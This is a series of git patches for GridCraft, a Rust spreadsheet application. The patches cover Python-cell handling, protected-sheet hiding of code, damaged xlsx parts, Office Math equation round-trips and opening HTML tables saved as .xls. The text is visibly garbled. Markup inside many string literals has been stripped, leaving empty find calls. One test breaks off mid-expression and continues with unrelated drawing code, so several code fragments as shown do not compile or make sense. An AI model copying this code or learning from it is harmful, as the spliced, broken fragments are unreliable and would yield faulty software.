+ let long = "a".repeat(gridcraft_model::python::MAX_FORMULA_CHARS / 2); + plant(&mut s, 0, "A1", &long); + let r = s.execute("edit.replace", json!({"what": "a", "with": "bb"})).unwrap(); + assert_eq!(r["replaced"], 0); + assert_eq!(r["skipped"], 1); + assert_eq!(code(&s, 0, "A1").as_deref(), Some(long.as_str())); +} From 58aa00bae4bbea1fa462aa35325b2b83683ede08 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:11:23 -0500 Subject: [PATCH 165/298] Docs: xl() references in Python code stay put when a sort moves the cell --- docs/architecture.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/architecture.md b/docs/architecture.md index 3bb3f9212..ba6162020 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -144,6 +144,13 @@ characters (the function's syntax, which some files hold), the `_xlfn._xlws.` pr 8,192-character limit measured on that formula (`PyCode::fits`), and the `xl("…")` literals in code, which structural edits rewrite like formula references. +Only those edits rewrite them: inserting or deleting cells, rows and columns, a cut and paste, and +renaming or deleting a sheet. Copying, filling and sorting carry the code unchanged, so an `xl()` +reference acts as an absolute reference. A sort that moves a Python cell to another row leaves its +code reading the cells it named before (a formula moved by the same sort has its relative references +shifted), and references to the sorted cells from other cells, formulas and Python code alike, keep +naming the same positions. + Calc treats a Python cell as a graph node that reads nothing: a pass takes its kept result instead of evaluating it, so an array result spills, is blocked and unblocked, and reaches its dependents through the same code as a formula's. The xlsx reader and writer map Python cells to and from @@ -178,7 +185,7 @@ rpm, tarball), FreeBSD, and web (WASM; WebGPU or WebGL2). Release workflows in | Date | Change | Summary | |---|---|---| -| 2026-11-01 | minor | Python cells as data: `model::PyCode`, the file forms, calc laying out kept results, and the limits on open | +| 2026-11-01 | minor | Python cells as data: `model::PyCode`, the file forms, calc laying out kept results, the limits on open, and what copying, filling and sorting do to `xl()` references | | 2026-10-25 | trivial | The hidden names that hold macros are `_gc_macro__` | | 2026-10-24 | minor | Macro engine on the building blocks (`macros/`, `cmd/macros.rs`) | | 2026-10-24 | minor | Engine building blocks for multi-command actions: undo groups, recording buffer, document trust, chunked hidden-name storage | From 4fbd1dc337551f1d34f6f731ad2e017b1eb333c1 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:16:05 -0500 Subject: [PATCH 166/298] Engine: a Hidden cell on a protected sheet hides its Python code A cell formatted Hidden on a protected sheet hid its formula but not its Python code: display::formula_hidden only looked for a formula at the cell (a Python cell was covered only while its result spilled), and the formula bar had its own check for formulas alone. Both now treat Python code as they treat a formula, so the formula bar shows nothing for a hidden Python cell, as it does for a hidden formula. Editing the cell is refused as before, because it is locked. --- crates/engine/src/display.rs | 6 +++--- crates/engine/src/tests/python_cells.rs | 20 ++++++++++++++++++++ crates/ui-egui/src/formula_bar.rs | 20 +++++++++++++++++++- 3 files changed, 42 insertions(+), 4 deletions(-) diff --git a/crates/engine/src/display.rs b/crates/engine/src/display.rs index aa8bdb22d..2189d6c64 100644 --- a/crates/engine/src/display.rs +++ b/crates/engine/src/display.rs @@ -90,14 +90,14 @@ pub fn edit_text(wb: &Workbook, sheet: &Sheet, c: CellRef) -> String { if reads_back(&iso) { iso } else { raw } } -/// Whether `c` has a formula that must not be shown: its cell is formatted Hidden on a -/// protected sheet. A spilled cell follows its anchor. +/// Whether `c` has a formula or Python code that must not be shown: its cell is formatted +/// Hidden on a protected sheet. A spilled cell follows its anchor. pub fn formula_hidden(wb: &Workbook, sheet: &Sheet, c: CellRef) -> bool { if !sheet.is_protected() { return false; } let at = match sheet.cell(c) { - Some(x) if x.formula.is_some() => c, + Some(x) if x.formula.is_some() || x.py.is_some() => c, _ => match sheet.spill_ranges.iter().find(|(_, r)| r.contains(c)) { Some((anchor, _)) => *anchor, None => return false, diff --git a/crates/engine/src/tests/python_cells.rs b/crates/engine/src/tests/python_cells.rs index ef1df605a..7971f7811 100644 --- a/crates/engine/src/tests/python_cells.rs +++ b/crates/engine/src/tests/python_cells.rs @@ -296,3 +296,23 @@ fn replace_leaves_python_code_that_would_no_longer_fit() { assert_eq!(r["skipped"], 1); assert_eq!(code(&s, 0, "A1").as_deref(), Some(long.as_str())); } + +#[test] +fn a_hidden_python_cell_on_a_protected_sheet_hides_its_code() { + let mut s = s(); + s.execute("python.set", json!({"cell": "A1", "code": "secret = 1\nsecret"})).unwrap(); + s.execute("python.set", json!({"cell": "B1", "code": "'shown'"})).unwrap(); + s.execute("home.formatCells", json!({"range": "A1", "style": {"protection": {"locked": true, "hidden": true}}})).unwrap(); + let hidden = |s: &Session, a: &str| { + let d = s.doc().unwrap(); + let sh = d.wb.active().unwrap(); + crate::display::formula_hidden(&d.wb, sh, CellRef::parse(a).unwrap()) + }; + assert!(!hidden(&s, "A1"), "an unprotected sheet hides nothing"); + s.execute("review.protectSheet", json!({})).unwrap(); + assert!(hidden(&s, "A1"), "Hidden on a protected sheet hides the code, as it hides a formula"); + assert!(!hidden(&s, "B1")); + // Editing it is refused where a formula's would be: the cell is locked. + assert!(s.execute("python.set", json!({"cell": "A1", "code": "2"})).is_err()); + assert_eq!(code(&s, 0, "A1").as_deref(), Some("secret = 1\nsecret")); +} diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 3db0c3da4..557e3dac0 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -173,7 +173,8 @@ fn active_input(app: &SheetApp) -> String { .unwrap_or_default(); } if let Some(c) = sh.cell(a) { - if c.formula.is_some() && d.wb.styles.get(c.style).protection.hidden && sh.is_protected() { + // A Hidden cell on a protected sheet shows neither its formula nor its Python code. + if (c.formula.is_some() || c.py.is_some()) && d.wb.styles.get(c.style).protection.hidden && sh.is_protected() { return String::new(); } return if let Some(f) = &c.formula { @@ -753,6 +754,23 @@ mod spill_tests { app.run("sheet.activate", json!({"sheet": "Sheet1"})).unwrap(); check(&mut app, "A2", "=FILTER(D1:D3,D1:D3>0)", true); } + + #[test] + fn a_hidden_python_cell_on_a_protected_sheet_shows_no_code() { + let mut app = app(); + app.run("python.set", json!({"cell": "A1", "code": "secret = 1\nsecret"})).unwrap(); + app.run("python.set", json!({"cell": "B1", "code": "'shown'"})).unwrap(); + set(&mut app, "C1", "=1+1"); + app.run("home.formatCells", json!({"range": "A1:C1", "style": {"protection": {"locked": true, "hidden": true}}})).unwrap(); + app.run("home.formatCells", json!({"range": "B1", "style": {"protection": {"locked": true, "hidden": false}}})).unwrap(); + select(&mut app, "A1"); + assert_eq!(active_input(&app), "secret = 1\nsecret", "an unprotected sheet hides nothing"); + app.run("review.protectSheet", json!({})).unwrap(); + for (cell, text) in [("A1", ""), ("B1", "'shown'"), ("C1", "")] { + select(&mut app, cell); + assert_eq!(active_input(&app), text, "{cell}"); + } + } #[test] /// A disabled spill formula paints disabled and does not edit; clicking an active formula starts formula-bar editing in both light and dark themes, with accessibility checks. fn formula_bar_click_and_theme_presentation() { From ea1d52fe8f6adc60ace125e3e86498db414ff611 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Sun, 1 Nov 2026 12:20:54 -0500 Subject: [PATCH 167/298] Review fixes for #3042: "" with parse: false keeps the cell's formatting; correct the write_range parse description Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/cell.rs | 4 ++-- crates/engine/src/cmd/edit/tests.rs | 4 ++++ crates/mcp/src/tools.rs | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/edit/cell.rs b/crates/engine/src/cmd/edit/cell.rs index 65d5b73ce..9cd1dd80f 100644 --- a/crates/engine/src/cmd/edit/cell.rs +++ b/crates/engine/src/cmd/edit/cell.rs @@ -245,8 +245,8 @@ pub(super) fn range_set_values(s: &mut Session, p: &Json) -> Result { if text.is_empty() { // An empty string clears the cell, as `null` and the default path do: // an empty text cell is not blank, and a script clearing cells with - // `""` would leave cells `COUNTA` counts. - None + // `""` would leave cells `COUNTA` counts. The cell keeps its formatting. + input_to_cell("", sheet, at, &mut cx.wb)? } else { let mut style = cx.wb.sheet(sheet).map(|sh| sh.style_id(at)).unwrap_or_default(); // Line breaks still turn on Wrap Text, as typed input does. diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3701dfd19..3f3a2fb6d 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -225,10 +225,14 @@ fn set_values_parse_false_clears_an_empty_string() { let mut s = Session::new(); s.new_workbook(); s.execute("range.setValues", json!({"range": "A1:B1", "values": [["keep", "keep"]]})).unwrap(); + s.execute("home.bold", json!({"range": "A1"})).unwrap(); s.execute("range.setValues", json!({"range": "A1", "parse": false, "values": [["", ""]]})).unwrap(); let get = |s: &mut Session, a: &str| s.execute("cell.get", json!({"cell": a})).unwrap(); assert_eq!(get(&mut s, "A1")["type"], "empty"); assert_eq!(get(&mut s, "B1")["type"], "empty"); + let d = s.doc().unwrap(); + let sh = d.wb.sheet(0).unwrap(); + assert!(d.wb.styles.get(sh.style_id(CellRef::parse("A1").unwrap())).font.bold, "clearing with \"\" keeps the formatting"); assert_eq!(s.execute("formulas.evaluate", json!({"formula": "=COUNTA(A1:B1)"})).unwrap(), json!(0.0)); } diff --git a/crates/mcp/src/tools.rs b/crates/mcp/src/tools.rs index f1a36b004..87f7fea5d 100644 --- a/crates/mcp/src/tools.rs +++ b/crates/mcp/src/tools.rs @@ -196,7 +196,7 @@ fn base_tool_definitions() -> Vec { json!({ "range": string("Top-left cell or range, e.g. \"A1\" or \"Sheet2!B3\""), "values": {"type": "array", "description": "Rows of cell values", "items": {"type": "array", "items": {"type": ["string", "number", "boolean", "null"]}}}, - "parse": boolean("Store every string not starting with = as the text it is, instead of reading it like typed input (default true)"), + "parse": boolean("Read strings not starting with = like typed input, so \"05.04.2026\" becomes a date (default true); false stores them as the text they are, and \"\" clears the cell"), }), &["range", "values"], ), From 69177881248addc4e6b2131e519eded6b1f2dc8c Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Sun, 1 Nov 2026 12:30:04 -0500 Subject: [PATCH 168/298] docs: sync Craft App Suite list with ArtCraft Launcher --- README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index d9dc5eb36..f2d9a930e 100644 --- a/README.md +++ b/README.md @@ -298,7 +298,15 @@ stand on its own. | | **PdfCraft** | Reading, organizing and protecting PDFs | [GitHub](https://github.com/storytold/pdfcraft) | [Website](https://getartcraft.com/apps/pdfcraft) | | | **EffectCraft** | Motion graphics and visual effects | [GitHub](https://github.com/storytold/effectcraft) | [Website](https://getartcraft.com/apps/effectcraft) | | | **DesignCraft** | Page layout and publishing | [GitHub](https://github.com/storytold/designcraft) | [Website](https://getartcraft.com/apps/designcraft) | -| | **GridCraft** | **Spreadsheets and data · you are here** | [GitHub](https://github.com/storytold/gridcraft) | [Website](https://getartcraft.com/apps/gridcraft) | +| | **FigCraft** | Interface design and prototyping | [GitHub](https://github.com/storytold/figcraft) | [Website](https://getartcraft.com/apps/figcraft) | +| | **WordCraft** | Word processing and documents | [GitHub](https://github.com/storytold/wordcraft) | [Website](https://getartcraft.com/apps/wordcraft) | +| | **SoundCraft** | Audio recording and editing | [GitHub](https://github.com/storytold/soundcraft) | [Website](https://getartcraft.com/apps/soundcraft) | +| | **DeckCraft** | Presentations and slide decks | [GitHub](https://github.com/storytold/deckcraft) | [Website](https://getartcraft.com/apps/deckcraft) | +| | **CADCraft** | Computer-aided design | [GitHub](https://github.com/storytold/cadcraft) | [Website](https://getartcraft.com/apps/cadcraft) | +| | **GridCraft** | Spreadsheets and data | [GitHub](https://github.com/storytold/gridcraft) | [Website](https://getartcraft.com/apps/gridcraft) | +| | **TextureCraft** | 3D texture painting | [GitHub](https://github.com/storytold/texturecraft) | [Website](https://getartcraft.com/apps/texturecraft) | +| | **Craft Anything** | See how any software works, then build your own | [GitHub](https://github.com/storytold/craft-anything) | [Website](https://getartcraft.com/apps/craft-anything) | +| | **SolidCraft** | Parametric 3D CAD by Tangency Labs (community app) | [GitHub](https://github.com/tangency-labs/solidcraft) | | And [**ArtCraft**](https://getartcraft.com/) itself, our AI image and video studio for artists who want real control. From 44e9ddad45dae080d3eefaf878233b659d641ff2 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:33:22 -0500 Subject: [PATCH 169/298] Engine: a Python result cut by the adoption budget takes its cached spill with it When a file's cached Python spills were larger than the adoption budget, the cells past it kept only their own value, but their spill ranges and spilled values stayed on the sheet, which went on showing values no result held. The spill of such a cell is now cleared, as for a dropped result; the warning is unchanged. --- crates/engine/src/io.rs | 5 ++++ crates/engine/src/tests/python_files.rs | 34 +++++++++++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 2622f0ae8..7e8aa1da7 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -168,6 +168,11 @@ pub fn adopt_python(wb: &mut Workbook) -> Vec { for (anchor, range) in spills { let Some(left) = budget.checked_sub(range.count()) else { skipped += 1; + // The cell keeps only its own value, so its cached spill goes too: the sheet would + // otherwise show spilled values that no result holds. + if let Some(r) = sh.spill_ranges.remove(&anchor) { + sh.clear_spill(r); + } continue; }; budget = left; diff --git a/crates/engine/src/tests/python_files.rs b/crates/engine/src/tests/python_files.rs index 00b597445..6870664f2 100644 --- a/crates/engine/src/tests/python_files.rs +++ b/crates/engine/src/tests/python_files.rs @@ -260,6 +260,40 @@ fn many_cells_naming_one_long_script_take_from_one_budget() { assert_eq!(sh.value(CellRef::parse("A20000").unwrap()), Value::Number(1.0), "the others keep their values"); } +#[test] +fn a_result_cut_by_the_budget_takes_its_cached_spill_with_it() { + // Five Python cells each with a cached 1,000 x 1,000 spill: the budget rebuilds four results; + // the fifth cell keeps only its own value, and its spilled values no longer show. + let mut wb = Workbook::new(); + let sh = wb.sheet_mut(0).unwrap(); + for i in 0..5u32 { + let anchor = CellRef::new(0, i * 1_000); + sh.set_cell(anchor, Cell { py: Some(Arc::new(PyCode::new("x"))), ..Cell::value(Value::Number(1.0)) }); + sh.spill_ranges.insert(anchor, RangeRef::new(anchor, CellRef::new(999, i * 1_000 + 999))); + sh.spill.insert(CellRef::new(1, i * 1_000), Value::Number(7.0)); + sh.spill.insert(CellRef::new(999, i * 1_000 + 999), Value::Number(8.0)); + } + let warnings = crate::io::adopt_python(&mut wb); + assert!(warnings.iter().any(|w| w.contains("Python")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + let mut cut = 0; + for i in 0..5u32 { + let anchor = CellRef::new(0, i * 1_000); + let rebuilt = sh.cell(anchor).and_then(|c| c.py.as_ref()).is_some_and(|p| p.output.is_some()); + let (below, corner) = (sh.value(CellRef::new(1, i * 1_000)), sh.value(CellRef::new(999, i * 1_000 + 999))); + if rebuilt { + assert_eq!((below, corner), (Value::Number(7.0), Value::Number(8.0)), "a result within the budget keeps its spill"); + assert!(sh.spill_ranges.contains_key(&anchor)); + } else { + cut += 1; + assert_eq!((below, corner), (Value::Empty, Value::Empty), "no stale spilled values beyond the anchor"); + assert!(!sh.spill_ranges.contains_key(&anchor)); + assert_eq!(sh.value(anchor), Value::Number(1.0), "the cell keeps its own cached value"); + } + } + assert_eq!(cut, 1); +} + #[test] fn native_json_keeps_python_cells_and_their_results() { let (mut s, long) = build(); From 113aeff07cb281fb473b68c3fbd0773caee7ad26 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:36:04 -0500 Subject: [PATCH 170/298] XLSX: a damaged Python part is a warning, and the workbook opens with its values A Python part whose zip entry failed to read (a bad checksum or compressed stream) made the whole workbook fail to open: the error was passed up, and the failed read had also ended the package's read budget, so even a warning would have left the sheets unread. The part is now read with Package::read_optional_limited, which charges a failed read only that part's allowance, and every error other than TooLarge is a warning. The Python cells then keep only their cached values, as when the part is missing. Malformed XML in the part was already a warning; the test covers it too. --- crates/engine/src/tests/python_files.rs | 49 +++++++++++++++++++++++++ crates/xlsx/src/package.rs | 36 ++++++++++++++++++ crates/xlsx/src/python_part.rs | 9 ++++- 3 files changed, 92 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/tests/python_files.rs b/crates/engine/src/tests/python_files.rs index 6870664f2..5f6d3343c 100644 --- a/crates/engine/src/tests/python_files.rs +++ b/crates/engine/src/tests/python_files.rs @@ -243,6 +243,55 @@ fn a_py_formula_naming_a_missing_script_keeps_only_its_value() { assert_eq!(wb.sheet(0).unwrap().cell(CellRef::parse("A1").unwrap()).unwrap().py.as_ref().map(|p| p.code.as_str()), Some("5")); } +/// `bytes` with the part `name` stored uncompressed and one byte of its data changed, so the +/// archive is intact but reading the part fails its checksum. +fn with_damaged_part(bytes: &[u8], name: &str, marker: &str) -> Vec { + let mut z = zip::ZipArchive::new(std::io::Cursor::new(bytes)).unwrap(); + let mut out = zip::ZipWriter::new(std::io::Cursor::new(Vec::new())); + for i in 0..z.len() { + let mut f = z.by_index(i).unwrap(); + let entry = f.name().to_string(); + let mut data = Vec::new(); + f.read_to_end(&mut data).unwrap(); + let options = zip::write::SimpleFileOptions::default(); + let options = if entry == name { options.compression_method(zip::CompressionMethod::Stored) } else { options }; + out.start_file(entry, options).unwrap(); + out.write_all(&data).unwrap(); + } + let mut zipped = out.finish().unwrap().into_inner(); + let at = zipped.windows(marker.len()).position(|w| w == marker.as_bytes()).expect("the marker is stored as it is"); + zipped[at + 1] ^= 0x20; + zipped +} + +#[test] +fn a_damaged_python_part_is_a_warning_and_the_workbook_opens_with_its_values() { + let data = "_xlfn._xlws.PY(0,0)59"; + let good = excel_shaped(data, Some(&["5"])); + // The part's data fails its checksum (a damaged archive entry). + let damaged = with_damaged_part(&good, "xl/python/python1.xml", ""); + // The part is not well-formed XML, before its first script. + let broken = |at: &'static str, with: &'static str| { + with_parts(&good, move |name, text| if name == "xl/python/python1.xml" { text.replace(at, with) } else { text.to_string() }, &[]) + }; + let malformed = broken("", "", Color::Auto)]); + let mut sh = (*wb.sheets[0]).clone(); + sh.shapes.push(Shape { + id: 3, + kind: ShapeKind::TextBox, + anchor: Anchor { cell: CellRef::parse("D2").unwrap(), width: 80.0, height: 30.0, ..Default::default() }, + fill: Color::Auto, + line: Color::Auto, + text: "plain".into(), + format: Default::default(), + math: Default::default(), + }); + wb.sheets[0] = Arc::new(sh); + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + let s = shapes(&back); + assert_eq!(s.len(), 3); + assert_eq!(s[0].text, "{".repeat(40)); + assert_eq!(s[0].kind, ShapeKind::Equation); + assert_eq!(s[1].text, "\u{1F600} & ]]> ", "XML-illegal characters are dropped, the rest kept"); + assert_eq!(s[2].kind, ShapeKind::TextBox); + assert_eq!(s[2].text, "plain"); +} + +#[test] +fn office_math_edited_elsewhere_reads_back_as_edited() { + // GridCraft writes the source in the description and Office Math in the body. Another + // application that edits the Office Math (Excel) leaves the description alone; the marker in + // the description no longer matches the body, so the Office Math is converted and the stale + // source dropped, and the next save writes the edited equation. + let wb = book(vec![equation(1, "B2", "x^2", Color::Rgb(0x1F4E79))]); + let mut parts = unzip(&write_xlsx(&wb).unwrap()); + let name = parts.keys().find(|k| k.starts_with("xl/drawings/drawing")).unwrap().clone(); + let mut d = drawing(&parts); + assert!(described(&d, "x^2")); + // Excel's edit: the base `x` becomes `y`, in the Office Math only. + let (m0, m1) = (d.find("").unwrap(), d.find("").unwrap()); + let edited = d[m0..m1].replacen("x", "y", 1); + assert_ne!(edited, d[m0..m1]); + d.replace_range(m0..m1, &edited); + parts.insert(name, d.into_bytes()); + let (back, _) = read_xlsx(&rezip(&parts)).unwrap(); + let s = shapes(&back); + assert_eq!(s.len(), 1); + assert_eq!(s[0].kind, ShapeKind::Equation); + assert_eq!(s[0].text, "{y}^{2}", "the edited Office Math, converted"); + assert_eq!(s[0].line, Color::Rgb(0x1F4E79)); + // Saving writes the edited equation; the old source is gone. + let again = drawing(&unzip(&write_xlsx(&back).unwrap())); + assert!(described(&again, "{y}^{2}") && !again.contains("x^2"), "{again}"); +} + +#[test] +fn a_marker_over_garbage_office_math_falls_back_without_panicking() { + // Office Math that is not the marker's and not in the subset either: the Choice is left + // alone and the fallback text box, which carries the description, is read as the equation. + let wb = book(vec![equation(1, "B2", "x^2", Color::Auto)]); + let mut parts = unzip(&write_xlsx(&wb).unwrap()); + let name = parts.keys().find(|k| k.starts_with("xl/drawings/drawing")).unwrap().clone(); + let mut d = drawing(&parts); + let (m0, m1) = (d.find("").unwrap(), d.find("").unwrap()); + d.replace_range(m0..m1 + "".len(), "junk"); + parts.insert(name.clone(), d.into_bytes()); + let (back, _) = read_xlsx(&rezip(&parts)).unwrap(); + let s = shapes(&back); + assert_eq!(s.len(), 1); + assert_eq!(s[0].kind, ShapeKind::Equation); + assert_eq!(s[0].text, "x^2"); + // A description whose marker is malformed is not GridCraft's source: with Office Math the + // maths is converted; without it the box is text. + let d2 = drawing(&unzip(&write_xlsx(&wb).unwrap())).replace("descr=\"gridcraft:latex:", "descr=\"gridcraft:latex:zz:"); + parts.insert(name, d2.into_bytes()); + let (back, _) = read_xlsx(&rezip(&parts)).unwrap(); + let s = shapes(&back); + assert_eq!(s.len(), 1); + assert_eq!((s[0].kind, s[0].text.as_str()), (ShapeKind::Equation, "{x}^{2}")); +} + +#[test] +fn office_math_outside_the_subset_reads_the_fallback() { + let wb = book(vec![equation(1, "B2", "x^2", Color::Auto)]); + let mut parts = unzip(&write_xlsx(&wb).unwrap()); + let name = parts.keys().find(|k| k.starts_with("xl/drawings/drawing")).unwrap().clone(); + let mut d = drawing(&parts); + // Another writer: no GridCraft source, Office Math the reader does not convert (a + // pre-subscript), and a fallback text box with its own text. + while let Some(a) = d.find(" descr=\"gridcraft:latex:") { + let b = d[a + 8..].find('"').unwrap() + a + 9; + d.replace_range(a..b, ""); + } + let (m0, m1) = (d.find("").unwrap(), d.find("").unwrap()); + d.replace_range( + m0..m1 + "".len(), + "12y", + ); + let fb = d.find("").unwrap(); + let t = d[fb..].find("x^2").unwrap() + fb; + d.replace_range(t..t + "x^2".len(), "the writer's fallback"); + parts.insert(name, d.into_bytes()); + let (back, _) = read_xlsx(&rezip(&parts)).unwrap(); + let s = shapes(&back); + assert_eq!(s.len(), 1); + assert_eq!(s[0].kind, ShapeKind::TextBox, "not an equation"); + assert_eq!(s[0].text, "the writer's fallback", "the fallback is read, not the empty Office Math box"); +} + +#[test] +fn hostile_sources_round_trip_exactly() { + // Sources built from the characters XML and LaTeX treat specially: each is saved (as Office + // Math with a fallback, or as text) and read back as the same equation source. + const PARTS: &[&str] = &[ + "x", + "\\frac{a}{b}", + "\"", + "'", + "<", + ">", + "&", + "&", + "]]>", + ""#; let rows = table_cells(excel, 2, 3); assert_eq!(rows.len(), 2); - assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }); - assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None }); + assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }); + assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None, ..HtmlCell::default() }); assert_eq!(rows[1].len(), 3, "colspan keeps the next cell in its column"); assert_eq!(rows[1][0].text, "2.50 & up"); assert_eq!(rows[1][2].text, "x"); let calc = r#"
Rp10,000.00
"#; - assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }]]); + assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }]]); let quoted_gt = r#"
1500
"#; - assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0) }]]); + assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0), ..HtmlCell::default() }]]); } #[test] @@ -434,7 +436,7 @@ mod tests { assert!(cells <= MAX_HTML_CELLS, "{cells} cells"); assert!(rows.iter().all(|r| r.len() <= MAX_SPAN)); assert_eq!(rows[0].len(), MAX_SPAN, "the first span fills the sheet's width"); - assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0) }); + assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0), ..HtmlCell::default() }); // Bounded by the pasted text's shape, the same markup yields just that shape. let rows = table_cells(&html, 3, 2); diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index ce1fb40b0..9e3c7f7ae 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -291,6 +291,9 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, })?; return Ok((wb, report.warnings)); } + if let Some(read) = read_html_table(name, kind, bytes, csv_as_text) { + return read; + } match kind { Some(FileKind::Json) => { let mut wb: Workbook = serde_json::from_slice(bytes).map_err(|e| EngineError::Other(format!("not a GridCraft JSON workbook: {e}")))?; @@ -346,9 +349,84 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { ) } +/// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often +/// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format +/// and extension don't match): the cells read like typed input (or as text with `csv_as_text`), +/// header cells (``) are bold and centred, and the sheet takes the name the page gives it +/// (``) or the file's. `None` when the bytes aren't such a page. +fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { + let text = String::from_utf8_lossy(bytes); + let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); + if ![" = row + .iter() + .map(|cell| { + let field = match cell.num { + Some(n) => gridcraft_core::number_to_text(n), + None => cell.text.split_whitespace().collect::>().join(" "), + }; + if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field } + }) + .collect(); + tsv.push_str(&fields.join("\t")); + tsv.push('\n'); + } + let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() }; + let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string())); + Some(read.map(|(mut wb, report)| { + wb.csv_delimiter = None; + let header_style = wb.styles.derive(gridcraft_model::StyleId::DEFAULT, |st| { + st.font.bold = true; + st.align.h = gridcraft_model::HAlign::Center; + }); + if let Some(sh) = wb.sheet_mut(0) { + for (r, row) in rows.iter().enumerate() { + for (c, cell) in row.iter().enumerate() { + if cell.header && !cell.text.trim().is_empty() { + sh.set_style(CellRef::new(r as u32, c as u32), header_style); + } + } + } + } + let page_name = find_between(&text, "", "").map(|n| crate::clip_html::normalized(n.trim())); + match page_name.filter(|n| !n.is_empty()) { + Some(sheet) => set_first_sheet_name(&mut wb, &sheet), + None => rename_first_sheet(&mut wb, name), + } + let mut warnings = report.warnings; + if !matches!(kind, Some(FileKind::Html)) { + warnings.insert(0, format!("'{name}' is a web page (HTML), not a workbook in the format its name says: its table was opened as a sheet. Save as .xlsx to keep your changes.")); + } + (wb, warnings) + })) +} + +/// The text between the first `open` and the `close` after it, matched case-insensitively. +fn find_between<'a>(text: &'a str, open: &str, close: &str) -> Option<&'a str> { + let lower = text.to_ascii_lowercase(); + let start = lower.find(&open.to_ascii_lowercase())?.checked_add(open.len())?; + let len = lower.get(start..)?.find(&close.to_ascii_lowercase())?; + text.get(start..start.checked_add(len)?) +} + /// A CSV opens as a sheet named after the file (like Excel). fn rename_first_sheet(wb: &mut Workbook, path: &str) { let stem = std::path::Path::new(path).file_stem().and_then(std::ffi::OsStr::to_str).unwrap_or("Sheet1"); + set_first_sheet_name(wb, stem); +} + +/// Names the first sheet `name`, without the characters a sheet name can't hold and cut to 31 +/// characters; an empty or reserved result keeps the default name. +fn set_first_sheet_name(wb: &mut Workbook, stem: &str) { let clean: String = stem.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); let clean = clean.trim_matches('\'').to_string(); // "History" is reserved (see `Workbook::check_sheet_name`): keep the default name instead. diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 9051c5c09..34b1a3c0a 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -604,3 +604,35 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() { assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")")); assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut"))); } + +#[test] +fn a_web_page_saved_as_xls_opens_its_table() { + // #3166: a web app's "Export to Excel" is an HTML table saved as .xls; it opened as lines of + // markup. Excel opens the table: values read as typed, bold and centred, names + // the sheet. + let page = "\u{feff}\ + \ + \ + \ +
ItemQtyCode
Kiwi &\n Lime12007
Plum4,50042
